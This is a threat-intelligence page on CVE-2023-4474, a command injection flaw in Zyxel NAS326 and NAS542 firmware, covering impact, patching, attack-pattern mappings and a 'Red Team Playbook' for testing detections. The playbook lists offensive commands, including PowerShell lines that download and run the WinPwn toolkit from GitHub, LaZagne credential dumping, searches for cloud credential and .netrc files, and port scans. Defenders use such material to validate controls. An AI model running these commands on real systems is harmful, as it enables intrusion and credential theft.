CVE-2023-4474
Overview
This vulnerability is a command injection flaw caused by improper neutralization of special elements within the WSGI server implementation of Zyxel NAS326 and NAS542 firmware versions. The root cause lies in the failure to sanitize user-supplied input in HTTP request handling, allowing crafted URLs to be interpreted as OS commands. The affected component is the WSGI server embedded in the firmware, which processes incoming HTTP requests without sufficient input validation.
Vulnerability Description
The improper neutralization of special elements in the WSGI server of the Zyxel NAS326 firmware version V5.21(AAZF.14)C0 and NAS542 firmware version V5.21(ABAG.11)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted URL to a vulnerable device.
Impact
An unauthenticated remote attacker can execute arbitrary OS commands on vulnerable Zyxel NAS devices by sending specially crafted HTTP requests, potentially leading to full system compromise. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), allowing attackers to manipulate device functionality, access sensitive data, disrupt services, or pivot within the network. The high CVSS score (9.8) reflects the critical nature of this remote code execution vector with complete confidentiality, integrity, and availability impact.
Solution
Zyxel has released firmware updates addressing this issue in the affected NAS326 and NAS542 models. Users should upgrade to versions later than V5.21(AAZF.14)C0 for NAS326 and V5.21(ABAG.11)C0 for NAS542 as detailed in the vendor advisory at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-authentication-bypass-and-command-injection-vulnerabilities-in-nas-products. No specific workarounds are provided; applying the official firmware patches is required to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WSGI server of specific Zyxel NAS firmware versions arises from improper handling of special elements, which can lead to command injection. This flaw allows an unauthenticated attacker to execute arbitrary operating system commands by crafting a malicious URL. The underlying issue stems from inadequate input validation, which fails to sanitize user-supplied data properly. As a result, when the server processes these inputs, it can inadvertently execute commands that were not intended by the system's design, potentially compromising the integrity and confidentiality of the device and its data.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An attacker can initiate an attack by sending a specially crafted URL to a vulnerable device, which may be accessible over the internet or a local network. Once the malicious request is processed, the attacker can execute arbitrary commands on the operating system, leading to unauthorized access to sensitive data, alteration of system configurations, or even complete control over the device. This scenario highlights the critical need for organizations to understand their exposure to such vulnerabilities, especially if these devices are deployed in environments where sensitive information is stored or processed.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on Zyxel NAS devices for data storage and management. Successful exploitation could lead to data breaches, loss of intellectual property, and operational disruptions. The high CVSS score of 9.8 indicates that this vulnerability poses a severe risk, making it imperative for organizations to prioritize remediation efforts. Additionally, the potential for reputational damage and regulatory penalties associated with data breaches further amplifies the business risk, as organizations may face legal repercussions if they fail to protect sensitive information adequately.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions provided by Zyxel is crucial, as these updates often include security patches that address known vulnerabilities. Additionally, organizations should employ network segmentation to limit the exposure of NAS devices to untrusted networks, thereby reducing the attack surface. Implementing intrusion detection systems (IDS) can also help identify and alert on suspicious activities indicative of exploitation attempts. Furthermore, conducting regular security assessments and penetration testing can uncover potential weaknesses in the system, allowing organizations to address them proactively.
In conclusion, the vulnerability in the WSGI server of specific Zyxel NAS firmware represents a critical security risk that can lead to severe consequences if left unaddressed. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such threats. Proactive detection and mitigation strategies are essential to safeguard sensitive data and maintain operational integrity, ensuring that businesses can continue to operate securely in an increasingly complex threat landscape.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-4474, with a recent emergence of multiple new sightings involving attempts to exploit the improper neutralization vulnerability in Zyxel NAS firmware. Although no novel exploit techniques or proof-of-concept code have surfaced, the uptick in detection frequency signals increased adversary interest and potential reconnaissance or low-level exploitation campaigns targeting vulnerable devices. This development is significant for defenders as it indicates that threat actors are actively probing for opportunities to leverage this critical flaw, heightening the risk of unauthorized OS command execution and subsequent compromise. The stable EPSS score suggests the exploitability remains consistent, but the surge in telemetry underscores a growing operational focus on this vulnerability. Consequently, the threat level should be considered elevated, warranting increased monitoring and prioritization within defensive postures to detect and respond to exploitation attempts promptly.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Nas326 Firmware | All |
cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nas542 Firmware | All |
cpe:2.3:o:zyxel:nas542_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-4474 |
| zyxel.com |
GitHub CVE
vendor-advisory
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-authentication-bypass-and-command-injection-vulnerabilities-in-nas-products |
| bugprove.com |
GitHub CVE
|
https://bugprove.com/knowledge-hub/cve-2023-4473-and-cve-2023-4474-authentication-bypass-and-multiple-blind-os-command-injection-vulnerabilities-in-zyxel-s-nas-326-devices/ |